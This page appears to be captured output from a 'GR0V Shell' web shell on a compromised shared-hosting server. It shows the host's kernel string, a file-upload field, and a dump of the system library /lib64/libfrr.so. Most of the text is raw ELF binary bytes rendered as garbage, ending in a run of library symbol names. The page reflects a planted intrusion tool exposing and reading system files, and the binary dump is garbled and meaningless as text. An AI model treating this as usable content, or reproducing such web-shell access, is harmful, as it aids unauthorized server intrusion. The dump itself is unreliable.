? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /lib64/
File Upload :
Current File : //lib64/libfrr.so

ELF>	@5@8
@#"@@@ppp XX7X7ȋ 44:4:$$  ((XX7X7Std  Ptdl^l^QtdRtdXX7X7xxGNUZt\tC;4J#L8'`
TmP8@!  @ `@F`q E $
`@RT 	$A#"D C  	@(@1!jA@&	"ђE P@  0H$	$XDP8B"d0
@(	
@qI)Q P   0!	`@B@9(@4B@ l0!pPc@`A!81-BH	  $!`	@	@!  @!$B  VH0 (EH	]0X!D@0@(R L@EBX@PJJ)Ҥ"(@!@iP`@@a=D@ !bLRD@@0"(D )(" "@"D`PMÀ0 2	 11@H) @@BDlCj" %"$"!b%"F5 $ő@ BPR(@P@
#@8 "%HȈ4Ah1ddH$ m(@A @Aj   AP *h``(TQ
Ԝ
@`2BD h:F@H(`@vH(2A1Ј
(Pa
@AH1@ "R	HT$`2@
 @#
H	T8(&t&XD
@#@@` PIp( ` @q
	@ A}6H@D(@*! T !A0^&,
Q!@1$,@("i+@ 
!8 B$(T @  `@(	)ȓP` 
D@D@*D@P* bK
`Q@" Dd$ɠ@NK
(@ 0 AP)(($ DA'D0$$ZX4PB,(` @ 
`p`@'@ @ BZB@D0 PAF`@	@Y BЀP!  
1LA@AXH@ DAB&% D%	H4`E @	! &EH( L	@ADA@@HA, @
@"` ML!
@CP  H
`
@"P@1L@@ @2l@
(ABpI@!8F̐
-"N1
 L EAA$  :@0#&).2689;=?BCDGHJMNPUW]`aefghjmnpstvwyz|	"&),13479:;=>CHJKMPRUXYZ]`bdfghilmoqrswy}~	
!$%&()*+,/034569:=>@ADEFGHIJKNQSUWZ\_acefhjlmotuvyz{|}	
 $%&'()*+,-.24679=@BCEFHKNPRSVX\]^_cehijnqtuvyz|~	
 "$%'*,-.23468:=>AFGHKMOQTUVWY[^_bcefiklnpstvz}~

 "$(+,.038:=>@DEILMOPSTUWXZ\^befjklmnqruwyz
 #%'*-/01235679:;?@EGJNPRSWZ]`cegimptvwy{}	m:׋ʊnIb,HзǚI5FBC;
NZ2
B
;C!kθś)Z؟U:l&[
R`F	nsǽi@px	*JcW&/=cݦ=KVX|XLZKt<+>A	h

)>f<+M,;ʰmrb|XZ"1@DpB¼τe	M۴ϓ[9L㳦)2aYi+_mA8P$N}`Cy8T+&Zʪ۞`7"O
M/98W6¿p2aqV8	:[7kJ1B̨Tceq>_lC-oPOwf):&mZ/y6n_3E}[2 ,}vj8[܃U
1<$3[?p7gߠ5REb`ȔcuMy'QSt9M>,BQ'༴=_?`t_8tOL)Zj
^n]^JtuӃ`Ϗ6L~B5#a? >}D$_^9(܋#;	M⺃
P
8?+5-g
c-ᚱ4‡6:
ΞߤweGz
_zv'}xd9GВij\aG:Ns/
.g?j.yEwCEL!TC .vyz\Lٳ@/B^  ~Йg?+ӹqbMj$v eY7՛k5}a"#k(pY0N0_z.DV?#Y-7=,˶"l;ǔ&tM	ʗ7Ґ@dqa!,a3͵SqvH{yh:Q&"49hzAwIO|V_C?ԙ`I4X$ga8<BTp<_v,IP-Cχ:1fx\B%fB3M$M;*@d"UKם8L<f,OVhtNs%X<v4sU/k!6
ID+wݙ$2$'eJqZ-rL$%6j5TGK>@=/tϭp"5&t0-挂<[C].I?ΓjXYv/sRֱeI=Gɒ{Ѯ|*>49&rv(tW;`pT5W3]!=!h'\3_4>ӧ_~tdE:tV5g`7痏dq4)͑ijpIైfz֬=;^l_:![Se]2fg$02x3ګP5ݺ;'t]yz
5w
Lx'||eo3İE{AӔ {)vk!}8ٶJu]WHM~鸞4k[xŨO~@n.PU@c16*h\m
Y؞緸e
83q<D
޼ŋVW~7,~+kRx7H9v
`GdD;P_
P~nY@7iPܘDJD
Yzmz8pKJ/*Hɒ{Xj5|qBqvɑFYPnݪ%G_o8qYM4@kA^փGg/clM*
G)Ns	~6ʤ6m}G?@31++sRK>
aT\6Ms;0ׂriF0eZ}Ͱe`2#O"R-~
鲈[[EfpIG#涒ļ@ae=
֖!W\rhSY_ń=An/6>YrBAUA.Z{sa\<)as$l'Ҏ̱
*yVFB/u{ąNeߵ2g}v7q+	3CoSƜ!#[jrB:ziVWΰMVVWY͓"=2ESvUXd0ڸk';=m5>sV))	_)y2z(>gxO})f9qXӣ_@@5>9.D/J9Q_yRʚ)scxZ_yDZi}r"+^W)Nu^ʒ{6!G#rEǤMFRMFaa	OFl#!&AI
:>;/)N.ܸzUFŘgLLOuZFm{!u8ƭH$5%!Ƶ#=Tiq2ڷ&tfipLk`FX8t8?[Vfm{ӚÇ T+5*d|Z6+##YdS--
ZLh?D՗^pMw"=|j'_~Nѳml|Ƶq˯0ؚUkO1e4䶓#UXJf7ZKA9ᾒd@?z0lhc.PA
Zi'ЬYIYUoapa4#b0KW/ oiغ|!Vs4rK֦,C6y|YkYX2J{*nqKZ);HY:;%":Yq,hk5|0IxCN9ZS6,$h+d|,[Лr`PXqPc.H7\xXp[>RR%{dpL[pSt!<M|+&#zNuYww/CH=CcQ:='온=oťlĆ%d<qGuG6key._i֞}@O^PsZ=ck[),̉amBh7γ.?NU
AGI` $6%5Xg![Wb|KGzt'w/eT@d$.]4*^P9١Bwi3'+pܳ6z" K["[WC#em$?L0v8I(yDH
^/^EF~5h=Ďwj45X6Y./PJh-	M[-8)6Vτ	b&]s_Dz`X)0s\oP
;NڲdlN^]
it%3Yyy9_a
1gH|>g
y?_fhc$YJ7f:#OhYa&@D1*ªM+`+7,JKdC9'6$#Sgum'9}^w'G
ߑ󲕉׶^wʩb^k<O`ޯ;ɽ[[TU+`,p jON+wz7qJeMT@JAxK.̐w޷IJXεqbInzlskCω
qxdt8L[p.vMduD.$~ۯVe"˚|oU _FŸVA5*ī̠@bG\OG[CLP9>&D^bGH=1]_)}\i{'$ex7/?l
L!C$m+p.h\D/[9n>P짤zL>{B7q=4T#ˊJw`,%$8rP֌S;MGjyXIIY&9q8@C9˳zks!WR0gq êˎ]'@؜;&&pЀω
JY [h5n6ev1z_Cvmi'-r.HDyYG#1tM66)jH$1:|z<F,4l%]Ł=xPH</OFMJW[xZ7=yG_֘8D0BCYhή.ӳ˖X㬮z1?{'Vap~wzIby~_F7Z)@Y׸E<rd]ϦS뀆2/M$Zhמrx0w?tI
	3ؗ; 6$7OT[,5S^!Y&fX83]x1&xU߲ZЩH[ZdeQ}B0`_u=,Ms`#o"EMtdǖmOM0c!>mxݵ(dm,H,j8^=a<]v
C%Q#/"n}Ԥhta/|۹fI4r	^72߷0N.`wgs'6'6<A	\k'v1I1Ê(X&nXb̎:sp	M@@9y*^tSu.Mfj9Tω
&AYXV=>>RkrYqQ)w/69ণ#c0# RO#"*	Ma,x};ק>^?HTQ*w㤘ּ!e>̿xoEzYi. 5ڡ2o z[\w菡!=+$$@Äطh{VwGE7;MvşyUƶRjdwXݲJW	Lv=@@2e g@,x<Qi@E^)?@:5m*Z&Ifw;%$˒O<:@Me`,S, Ω;%Cb_yrԙ}cUXj&!A1Bw$G@:{̧k#Mke0XmUir^6[y6V<K)q14:#ٗj>AU tȿbwT73$GAOwۙa
@2aA+ZCʯQv|QYb֟mԹrÜŌKunʁF~iN,
2@FV?M,G?9(zih{ӡ>7	k,@mU0RVSdw︷ovŀ;BV; o2ظ[᎜vk!$Bww&xS`ҁb129a>6#};+4magYd
oBwj@N~@rnV􋌬sUW^[PAUdqv*lݯ1:!9R%!&ppJfʤ5ģLv!}2>ڦl7u,9
&}w? _qo~}ijÞ	AtڻZ]I!W?"hhSb|[F:	*W&Sʞ"TOÛ9=t'ϭOUZjE8KAv
>~io1;hovsگ7/Ňn-ܡ)\_1˂}9W6b絡_"xj3xBT|Z-n[	cb)%CCMh}Zg5[{sqsH2`cZfŒ47^[p
'D[S3*s)1Um6zͱNw]DNof\SaiKNj3B{u㪚풊
eKFU-.2"72)s,5lV_VƖj,E {O1f<ǀ:,[~4=:B	#ִT0LKV}i.+"W5!#	:--{F<UQ)c.g^CwI}Bwx-ا@ħ{-_%&+mf>KIMʦb>P;,!54tl;gnsG"D"7t<`t_D?zEÔv?qC_^Q+Fx”{광2S_RfdM?Yg>*'񣊋MyA	_bѣ.ex8[ܝ%ii"~x4i
jȟߋ*aJf32-/ӖuHY;WQNh14z$%N}+LMT̻j?zH8q ]SD0N?ɋxf
_&TN126Tay
$}HY-)ͫ.9KBN3ĴaKeaqf$9O#toas.{|Ӑ,

f'4NJ|'֍^!y( 4udחwU}NG{<,.רJsq*'-+(-e!Knq#RRr/E$GS,I
`R1P7KDqFqI,H !i_ _,J|d6
+
6q(8RLRQ&t	.F0v	4,QT5
n^DR`0sO{t	H.H <RZ%o,H!uq7PuMUut;, R	LA qF"KVF	<	:_kAki	`_[+Q|RJhHEO q	<s $04Rdt	..r1{;(a"s!abZKc/	Kkqq=TLR=,u./+q~/Xk_Ny	.ss>V9Ru?Gs'TTRRD2 {tHz8Ym`xG	<Si*.0Mfm,x<nkC!w$|M\+	uN1.Bo2GVQk"qtSHH&n.Qqm;RR/ hBm,cL"Nt>Fux.'>RSr:jiR	ZtF\sv|e.~.Sn/hX}G5/	xP$2 
 p	qQ75JSNn#T}Пc>@`TcP$:@!P	({	Chf0
<;|q2	@Nkq<m?
q' {	gX|_\1jMQ::@H$c5"
")	K3
.A`
	~{@xr> 
V7 m
+m-Gp7@F1kE%}bb
/
B-	ׁB
cQ8P(]6`M
&xR-B
:*	TOAqP&8	>O}Mp'5ipFQj0
Pc
`& g
TY`S
& o	-	9aPxBp
!O`A]`&`WI60
n5NpK@:U`:@)	!gV(KD'v	-; n=vDP0:rqV?
(IF`0)Mv@`Np2	V 6_":
 %
`_0?
	%h9H:j'0x	d2M ofK:
Z%e 
Æ0h@ 
cz
\-		1+3	@20
!p`S;0*	H L%e	d[8vcy
Y0k::/	0u;I0	avg
bpBt=NN4U`]  *	RJ2< HX 	*p	.70e
YЌJs SXg(Ѓ	
	yQI`P=PDmPP+d
F#["G	RP'	_`J

opw!P(>>
CJ9Eq<ZA<gY}b3
]fp
`~@1pr@9LmX	[}&p	P7^ESpD1 	O-Q0-SpW%E
ch!	h0
wKP%|@V{(
!P	wxVj=jQ`:wi*q8 
l `K4P
N->
f;o5<j
3Y!	U{v	@
1#0N	5f&n	HC1	7`t
=p
^(	4*@	
$r d:)		"]%``M
0	":%D@
p\@>
^%U@	5S WM#B
0

!d
*0	V>sq<X+:<`
`WP|@K%7fИ
!SVg	)i
tdP
#v?"Zv9&{`s/kX|tW |K`:`2=k
* i c@{
,>
dЊ
Y :)f8F#$Xn\Tab`_
RR[WG6w*	2b b
i
g<gg
L#'pz	86@<
qK0bkI/o<&
8'y	Y2	Y~011@p0G	4q -/xY	T`zD6 B
H-pdAA
``LU;:@4IPP)	),',@
	~E>Ok
mY]b}N6vFp1JEc4
,	GP#w	~O+{x`nYl@ 	mRrY0}BpL>	0n.`
u}p\~3 
{y(A]pED#V}md_@t
P8;$C8`x
AypSd
cZH"@3	X_PJ
u4 
QmH!oB
yAp
K] p?
^uJ8C<r`!	l0<4
	;0Cn \Ue*;@00
eG7g#XrKA
	2 
Q\p0
#I	
7`N
	p<0UWHf[[@C	U(~	QlCVT\Kp0Љ:d
]Y=Q.%`_	=3	
1_H
sJp6tT_==
k,
~pq(P	KD@`r}MPoA
\\'5
i@
;,3E`(0)9 :#w	W|`3m:@Fp12.:'x	plP>	19S"@	}~жn0g9"3	6!	m$Z	Ocw
`eЏ
	9U<(f0
ZfV{$Z`l<ThP
>p
(Q;
9_^d@
H;
r9G:"NVk	4
Q/q<.GMu)#0Y)#K	4TA<(&o	[p
FCX|
@LR`=FN\``Fg
g
H!	l`Y
!P	\@#@9zf

pe>*P	x[O
IMBb `
u#k0
I1	+hBx80P}F 0)	\NErHFIa[
m|bb
LxT,4
9e r0r
I0:w:	!?#'-V<
lp9) 	U{'p	7@r
@0?_cP &CI0BH@
=a]
^_:
:>^N
4P
ml 0<M!=P
38pu
C
Bj\p`a	L 7t
T_~BXM9Jp:0@:h
!
L0#]pPYpY\!	&`b0b
dVb`
A`
p=
-ah
vE*+	9 <)	C6@C
EGw[S`Lo Bq0bp1+	(H55`
9hCmj]l6	.e0WU:@lp		@[ :wpJI_
ro5.U`{4
"`H	7.0	!Ea*p	m;mp
1(SW1@w!NZp~[o9>
Y@P
;(TkWNA
Lj
.L	lZR6=
{pO;@
CP
e-	z6`
Zx[9+$[	D +!0	B"PR`;
3P
h
q:
ql*p	Q5#
6

`0	-Mp'@U(Y}H@/nZaZ0~4
QYk"pV
!O3	
@>I	6?0
6@
a00pnp	^5cDkg
X@A`
e)	tu5&;@
{G2f0
^S`R]
w-	1` t:1PfJ@3 Xo^6%MD$Qs<
daP^

X|xXO iDPme3&$}P$	N,У		gN'y		k7s
f
+;zF1I0:L@:3SwHN	+:uxE@)crl'<
L>
G5l%	8
';A~@
I0]			U*	=9Taz"dN+
Z	C$.~7[\ЩpM0A	p^(@	( s<r?d
@Р-&g	p5"
"+@	*b| {=
I7tPpT^PqF0G8TP`	T_(P
	/p	FIc+op|P)(~	G>70f
oZA
aowi
w*А	f<
	'p	i@
1V0Lg`:@
!1	!B
9rRp<Q8'q OP#j
#xqpugV5!
P(	5@G1mpS'1	I?;
C-	m.1,p	-U
y@mLqХ9hl<xZG`
{0^}6=xSZ:`7p
P&DH:9%]	! ;	yu'X<i
Bp
?5
98 x#@v]\Pq%`k0p<a]
uZc@x
qy c)p	0D		e
	]pl_P<
s\yg#dp$%4V{8t40
a=v*KMpp?PceP
Mb%^	(`h`1 zG`N&@m	@		e
	lp_?
b2Tow0C	qj
3Q;0;&o	4aaP\
^|s6Nf:98'u	"0jMNp

%W|JM`*P	;JU#dt!,a\
^@
@	&1X+'p	) H<
8q f h	@6
	i
 	"6
nutTE3>
	i0B@(\{ 
05jцt9JPgymЅ4^nE$%Fq?
r)@U<&o	+	zUya&oSRC|psy
JgN8t
D`"`VsPL=e	Z

NxR1pP8z
390B	
0OP)f8e:9;2+mX.	.'wIp3
!Q85kE= 
(%i
v_0=
>`
_IP(2P	kT:@@	/!i
K|(	`H&0p	zU :@bO6y ]`6D
,@	P-b
DzgP
sj`
:P$4
,!p-	`zl&$ ^	4
lIetp	\		h2S0MBNd 
g
\Pm]0WC6+	/L@@Pyg]"cd
y{da
i/J 's}`PR
6t)Љ		`xUnvH%c|
4ZP~P'i
!2P>9IC0i@kbEpK~~@%
l$Z	j
]@!]#wMwpNu3|.rV'w	D/p
P@#GJ@,\hǃLzl	;
X9 ^
gb|OL%d	p`SHpA/	gA@
paL/P	Wp|@`
5#
G
6B
N:4^
gYnMPB	e Eo{4H@Y}J= 
d<;cp|
nP!{0Kg
X!`TswpL5 
9p<6;=-	J! 	mSQ/Np	,	|%00<`
Sx{7A{@uk
+;o)PT `"rK;@zqY 
ovP? odCI0h
!
pUP{*0	4D6 =
U$6 3F"e
#I	J[0<uZ~b	;hcy
Up{"g
t&n	?q	0
xRR>f$ Y	o}91(ziiP
Iav*	wO=:
AZ Zf
aD0
(kp`pT
 0uP)@	@;	Q )N	]9`M	>0d@
j
:+&P:zq	h0I
eF`9q<d@
+j
u(l*6;
2
@QdAP
z'yy`f*@	s WOpN5`P
#;p`_G
d0
KYp}y	P$\	s:@w@DpE*	
`R
P-	9t0:?
Hg1	A
{c~
}$OPwPwwIV{5
f
EMAP
	}10
GNG2 		+	D G 6W>0;P0'd	G5
YPq z
/		[0IrG;Hm-@|8I*p	1F"zyPfs`0`01=7a
E&0m	<B
fd
geWd@
H|b^6
^86pB
sz!0	}vp@9/ 	=j
	h
aV{ycqI0eIi
Q0*aZ
B:4PP(n2	hd
-+	,z j_zn_Iz+|g( 	08
	@	
NW0|	O
?d
g

 Uh
!Ap
_@?
y+R='.%C<	x@\3p
N2q {ruP"nb{vNp<=O4o0ui
a3.#C<`R
/o@xt	l:@92r*j)	
@D		7vHІ`r-P	/h
V;
T0c,ap\0xRS1`:H:oG5inkE/RJ3h
0=yaP	90=LNwPK		os U<2
a/	8<0
.1
yi	0O0)0K89? 
Z*	J]P<c}
 J81.	=z`l#Lо]9q0@HvBs+
h@
hн
51

'P;	&]h
5P
Q@@
<@	9F@0Y;
hP
!b6?
fPwQpVx{PuY?	lE)	`B~:C
Jh
c{
$UG5ln0]:,f*!:tH	
D"HQ.dwPLXLWa'h`
׀;f@
tq SBqLOYpR" >&d0 :* 	H~:_
F
i~<dF0SfP	g
lpP~vBVp@M$;cV{0PR^V}
`2md7o
sP(p`N-A܆x3:pdJ07{p6@
Mt҄$Z	@1	!K.0	{M}J :!	JPA	0fg
o@:3P
>
eX/o 7`
}xe
	hT`_D'0Ep,-	mO@lQxpИ`p&pguzp#:P$WZ`P
6_
p#/@	-5[H%^	`pK
[0g 
d;

XJ}%O!4<3
r`vA
I
r<p	
0
jZZb
H4OwN')^8	"/	WV"&X
[`mDP
Szj2}PRi0
i 
zpn+	
AOJe 
'
*P	\FE8|:jp
Z~A`
X,;kr:@n`R
1 GW	^ 5bMpH&rEAC
)$0:Ć?p
6G	?
IgMmPT20
Ar
3
f+@	6O)5P
uzpm>
=qIp$t#8;
uk<INDR=_*Ў	::lp˅A+:
.SW#РRFUpUp< =
V{0?"l8t#y %Wo >^PiY}[@
q6
;#y^0%=(@	Ru:
du0;/\V3
W*#b_
^X}?}0Vap]
^`:03Zj
:nYT/`	#"c`e
wM# gP
q!
B
:@\KO@!0bZ
:s>
F*?@
.skw":<t*s	g&]j 
90
j:F1>0&Dh
jL#
%@np]|6@A
e
	Q#K	E߅r<0^[-м	%20FQ30`r<@>	
~>
f,2
S	S L<8`~
'z`k%|iT~zoK>
:[X8&l	C@}:0
@0
`J
f
%0Q_>
Ei
arM(-p	'O#
2E\>#@K	d.4=0
=P
{Z6cf
T[k
Pzq$tH@
/ 9dJ2`	|4iba
t`/(
>|P<:ʂU)T
wpQO`!M?E ^	 	d*P $O >
aq9j
0
 PU.`R
r` r+	)
~:{p	kZ~wpPo/m<m />l
XS(	5;/{t!"W0P	+85 80~
(vpAVg
+R"F	F1f*s/8t
x<Ap
T
~Cf]=`3jЍ;Tb{
+;OBX8bd
1:q=
i~w<?p
Ao`%@2DMS*	IK0U<)	!G8P&NW|4кM6qk
!~f4
z	&n	.
	u3`R3a@[
K/|R"3H8!W**0		4p
X@:	Qrh
|C%pf	)pmOl}@|_9
D0l`h_ 
`kP	1}Hp4
IU7s
Fp&D p	6`Z
P0@
=M@3`

j:%^@	3 (0;Gn0vopQ6eSr
H'v	\0@E3
{Oz=;:u &(MX4
F.21	)/l<k90p	J7g
&30	
QN@"Hp<)"2	+8
j
	3k

^Q7J`P
c2YP}7q<__gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable__cxa_finalizeMTYPE_TMPqcallocqfreeagg_table_initroute_table_init_with_delegate_zlog_assert_failedatomlist_add_headatomlist_add_tailatomlist_del_hintatomlist_popatomsort_addatomsort_del_hintatomsort_popbase64_init_encodestatebase64_encode_valuebase64_encode_blockbase64_encode_blockendbase64_decode_valuebase64_init_decodestatebase64_decode_blockvzlogx__stack_chk_failprefix_copythread_cancel_thread_executememcmp_mg_LIBbfd_get_status_strbfd_client_sendmsgstream_resetzclient_create_headergetpidstream_putlstream_get_endpstream_putw_atzclient_send_messagezclient_bfd_commandstream_putwstream_putstream_putcvrf_id_to_namebfd_sess_newbfd_sess_freebfd_sess_set_ipv4_addrsbfd_sess_set_ipv6_addrsbfd_sess_set_interfacestrcmpstrlcpystrlenbfd_sess_set_profilebfd_sess_set_vrfbfd_sess_set_hop_countbfd_sess_set_cbitbfd_sess_set_timersbfd_sess_set_auto_sourcebfd_sess_install_thread_add_eventbfd_sess_uninstallbfd_sess_statusbfd_sess_hop_countbfd_sess_profilebfd_sess_addressesbfd_sess_interfacebfd_sess_vrfbfd_sess_vrf_idbfd_sess_cbitbfd_sess_timersbfd_sess_auto_sourcebfd_sess_showjson_object_new_objectjson_object_string_addjson_object_int_addclock_gettimegmtime_r__snprintf_chkjson_object_object_addvty_outzclient_bfd_session_replayzclient_bfd_session_updatestream_getl2stream_getc2prefix_blenstream_get2if_lookup_by_indexbfd_protocol_integration_init_frrmod_this_module_hook_frr_fini_hook_registerbfd_protocol_integration_set_debugbfd_protocol_integration_set_shutdownbfd_protocol_integration_debugbfd_protocol_integration_shutting_downbfd_nht_updateqmallocbuffer_newsysconfbuffer_getstrmemcpybuffer_resetbuffer_freebuffer_putbuffer_putcbuffer_putstrbuffer_put_crlfmemchrbuffer_flush_windowwritev__errno_locationsafe_strerrorqreallocbuffer_flush_availablebuffer_flush_allbuffer_writein_cksumvfletcher_checksumhostdebug_memstats_at_exitjhashgraph_newcmd_token_newcmd_token_delgraph_new_nodecmd_graph_parsecmd_graph_namescmd_graph_mergegraph_delete_graphstrtolvty_config_entervty_config_exitlistnode_addlist_delete_nodestrchr__ctype_b_locgettimeofdaycryptqstrdupvty_shell_servvty_shellvty_set_includestrstrstrseprunning_confignb_cli_show_config_preparefrr_defaults_versionfrr_defaults_profilecmdvecstrrchrstrlcatmkstempfchmodvty_newvty_time_printvty_close__xstatunlinkrenamefsyncfopenfgetsfcloseMTYPE_COMPLETIONcmd_hostname_getcmd_domainname_getcmd_system_getcmd_release_getcmd_version_getcmd_allow_reserved_ranges_getlog_config_writecputime_enabledcputime_thresholdwalltime_thresholdprint_version__printf_chkargv_concatfrrstr_joinlog_level_matchcmd_make_strvecfrrstr_split_vecvector_unsetvector_compactcmd_free_strvecfrrstr_strvec_freeargv_findinstall_nodevector_set_indexvector_inithash_create_sizecmd_promptcmd_defer_tree_install_elementvector_lookuphash_lookuphash_alloc_internhash_getvector_setstderr__fprintf_chkcmd_finalize_nodehash_iteratecmd_graph_dump_dotuninstall_elementhash_releasevector_unset_valuecompletions_to_vecqsortmemmovecommand_completecmd_describe_commandvector_freecmd_variable_completestrncmpcmd_variable_comp2strcmd_variable_handler_registercmd_complete_commandnode_parentcmd_exitcommand_matchmemsetfrr_get_cli_modenb_cli_pending_commit_checknb_config_replacecmd_execute_command_hook_cmd_execute_hook_cmd_execute_donecmd_execute_command_strictcommand_config_read_one_lineconfig_from_filecmd_list_cmdscmd_domainname_setcmd_hostname_setcmd_banner_motd_file__realpath_chkcmd_banner_motd_linecmd_find_cmdsregcompregexecregfreehost_config_sethost_config_getcmd_show_lib_debugsroute_map_show_debugnb_cli_install_defaultunameqobj_initthread_cmd_initworkqueue_cmd_inithash_cmd_initlog_cmd_initvrf_install_commandscmd_terminate_hook_unregisterhash_cleanhash_freeqobj_finishvty_config_node_exittokennamesgraph_delete_nodegraph_remove_edgegraph_add_edgecmd_graph_node_print_cblookup_msg__ctype_tolower_locMTYPE_CMD_ARGcmd_token_dupcmd_token_varname_setcmd_token_varname_joincmd_token_varname_seqappendcmd_yy_flush_bufferfilenoisattycmd_yyget_extracmd_yyget_linenocmd_yyget_columncmd_yyget_incmd_yyget_outcmd_yyget_lengcmd_yyget_textcmd_yyset_extracmd_yyset_linenocmd_yyset_columncmd_yyset_incmd_yyset_outcmd_yyget_debugcmd_yyset_debugcmd_yyget_lvalcmd_yyset_lvalcmd_yyget_lloccmd_yyset_lloccmd_yyalloccmd_yy_create_buffercmd_yylex_initcmd_yylex_init_extracmd_yyrealloccmd_yyrestartcmd_yy_switch_to_buffercmd_yy_scan_buffercmd_yy_scan_bytescmd_yy_scan_stringcmd_yypush_buffer_statecmd_yylexstdoutstdinfwriteMTYPE_LEXferrorclearerrfreadcmd_yyfreecmd_yy_delete_buffercmd_yypop_buffer_statecmd_yylex_destroyset_lexer_stringcleanup_lexerstrspninet_ptonstrtoulstrtoll__memcpy_chklistnode_add_beforefputccmd_yydebugstpcpycmd_yyerror__memset_chkcmd_yyparsetyped_rb_mintyped_rb_nextprefix_cmpcspf_newcspf_inittyped_rb_insertcspf_init_v4cspf_init_v6cspf_cleantyped_rb_removecspf_delcompute_p2p_pathls_find_vertex_by_keytyped_rb_membertyped_rb_findlist_dupsnprintfcsvlencsv_initcsv_freecsv_record_itercsv_record_iter_nextcsv_field_itercsv_field_iter_nextcsv_field_lencsv_num_recordscsv_encode_recordcsv_serializesprintfcsv_decodestrncpycsv_is_record_validcsv_clone_recordcsv_remove_recordcsv_cleancsv_encodecsv_insert_recordcsv_append_recordcsv_concat_recordcsv_dumptypesafe_slist_sentineldebug_initdebug_init_clifrr_version_cmpfrr_default_addfrr_defaults_applyfrr_defaults_profile_validfrr_defaults_profilesfrr_defaults_version_setfrr_defaults_profile_setstring_hash_makedistribute_lookupdistribute_list_add_hookdistribute_list_delete_hookdistribute_list_parserlistnode_headdistribute_list_no_parserconfig_show_distributeconfig_write_distributedistribute_list_deletelistnode_deletedistribute_list_ctx_createhash_createpthread_getspecific__vsnprintf_chkpthread_setspecificpthread_key_createpthread_key_deletelog_ref_addpthread_mutex_lockrefspthread_mutex_unlock__gcc_personality_v0_Unwind_Resumelog_ref_getlog_ref_displayhash_to_listvty_jsonjson_object_freelog_ref_initlog_ref_finilog_ref_vty_initferr_get_lastferr_clearferr_set_internalferr_set_internal_extvty_print_errorjson_object_string_addvjson_object_boolean_addprefix_mac2strfrr_protonamejson_object_new_arrayjson_object_array_adduse_jsonyang_dnode_getnb_cli_show_dnode_cmdsfilter_newaccess_list_deleteroute_map_notify_dependenciesaccess_list_lookupaccess_list_getaccess_list_applymasklen2ipaccess_list_add_hookaccess_list_delete_hookfilter_new_seq_getaccess_list_filter_deleteaccess_list_filter_addaccess_list_initfilter_cli_initaccess_list_resetyang_dnode_iterateyang_dnode_get_uint32yang_dnode_existsnb_cli_enqueue_changenb_cli_apply_changesapply_maskplist_is_dupstr2prefix_ipv4str2prefix_ipv6acl_is_dupinet_atonstr2prefix_ethaccess_list_cmpaccess_list_showyang_dnode_get_enumyang_dnode_get_stringyang_dnode_get_prefixyang_dnode_get_boolyang_dnode_get_ipv4access_list_remark_showprefix_list_cmpprefix_list_showprefix_list_remark_showyang_dnode_get_uint8nb_running_get_entryprefix_list_entry_update_startprefix_list_entry_update_finishyang_dnode_get_parentnb_running_unset_entryprefix_list_entry_freeprefix_list_entry_delete2prefix_list_entry_newnb_running_set_entryprefix_list_deleteprefix_list_getfrr_filter_infoseqlock_bumpseqlock_curseqlock_waitseqlock_timedwaitseqlock_initseqlock_acquire_valrcu_thread_startrcu_thread_unprepareseqlock_releasercu_read_lockrcu_read_unlockrcu_assert_read_lockedrcu_thread_preparesigfillsetpthread_sigmaskpthread_createpthread_setname_nprcu_assert_read_unlockedrcu_enqueuercu_shutdownpthread_joinrcu_closethread_master_freepthread_mutex_destroypthread_cond_destroyfrr_pthread_initfrr_pthread_newpthread_mutex_initthread_master_createpthread_cond_initfrr_pthread_attr_defaultfrr_pthread_destroyfrr_pthread_set_namefrr_pthread_runfrr_is_after_forkfrr_pthread_wait_runningpthread_cond_waitfrr_pthread_notify_runningpthread_cond_signalpthread_selfzlog_tls_buffer_initpipe_thread_add_read_writepthread_testcancelthread_fetchzlog_tls_buffer_finithread_callfrr_pthread_stopfrr_pthread_stop_allfrr_pthread_finishfrrstr_splitarray_to_vectorfrrstr_join_vecvector_to_arrayfrrstr_filter_vecfrrstr_replacefrrstr_startswithfrrstr_endswithall_digitfrrstr_hex__sprintf_chklistnode_add_sortfputsgrammar_sandbox_initvector_ensuregraph_dump_dot_default_print_cbgraph_find_nodegraph_has_edgegraph_dfsttable_stylesttable_newttable_add_rowttable_restylettable_rowsepsfrr_protonameinstttable_colsepsttable_dumpttable_delsqrthash_walkidalloc_freeidalloc_allocateidalloc_reserveidalloc_newidalloc_destroyidalloc_free_to_poolidalloc_drain_poolidalloc_allocate_prefer_poolvrf_lookup_by_idvrf_name_head_RB_TYPEvrfs_by_namenbr_connected_freeprefix_freevrf_is_backend_netnsyang_data_new_macyang_data_new_uint32yang_data_new_uint16yang_data_new_int32yang_data_new_stringvrf_get_default_nameMTYPE_CONNECTED_LABELif_cmp_name_funcstrcspnif_new_via_zapiif_up_via_zapiif_down_via_zapiif_update_to_new_vrfvrf_getif_delete_retain_hook_if_delqobj_unreglist_delete_all_nodevrf_get_backendvrf_id_head_RB_TYPEvrfs_by_idifindex2ifnameif_lookup_by_namestrnlenifname2ifindexvrf_lookup_by_nameif_lookup_by_name_vrfnb_cli_apply_changes_clear_pendingif_lookup_addressif_lookup_prefixif_lookup_by_hwaddrlist_to_arrayif_get_by_nameqobj_t_interfaceqobj_reg_hook_if_addif_set_indexif_is_upif_lookup_address_localif_is_runningif_is_operativeif_is_no_ptm_operativeif_is_loopback_exactif_is_vrfif_vrf_lookup_by_index_nextif_is_loopbackif_get_vrf_loopbackif_is_broadcastif_is_pointopointif_is_multicastif_flag_dumpif_dump_allnbr_connected_newnbr_connected_checkconnected_count_by_familyconnected_lookup_prefix_exactconnected_delete_by_prefixconnected_lookup_prefixconnected_add_by_prefixconnected_get_linklocalif_link_type_strif_link_params_getif_link_params_initif_link_params_enableif_link_params_freeif_deleteif_destroy_via_zapiif_terminate_rb_rootroute_node_deletevrf_deleteif_vty_config_startvty_frameif_vty_config_endvty_endframeif_cmd_initif_cmd_init_defaultif_zapi_callbacksfrr_interface_infoif_index_head_RB_TYPEif_name_head_RB_TYPEif_rmap_lookupif_rmap_hook_addif_rmap_hook_deleteconfig_write_if_rmapif_rmap_ctx_deleteif_rmap_ctx_createif_rmap_initif_rmap_terminateibuf_openibuf_dynamicibuf_addibuf_reserveibuf_seekibuf_sizeibuf_leftibuf_closeibuf_freemsgbuf_initmsgbuf_drainibuf_writemsgbuf_clearmsgbuf_writeimsg_initimsg_readimsg_getimsg_addimsg_createimsg_closeimsg_composeimsg_composevimsg_freeim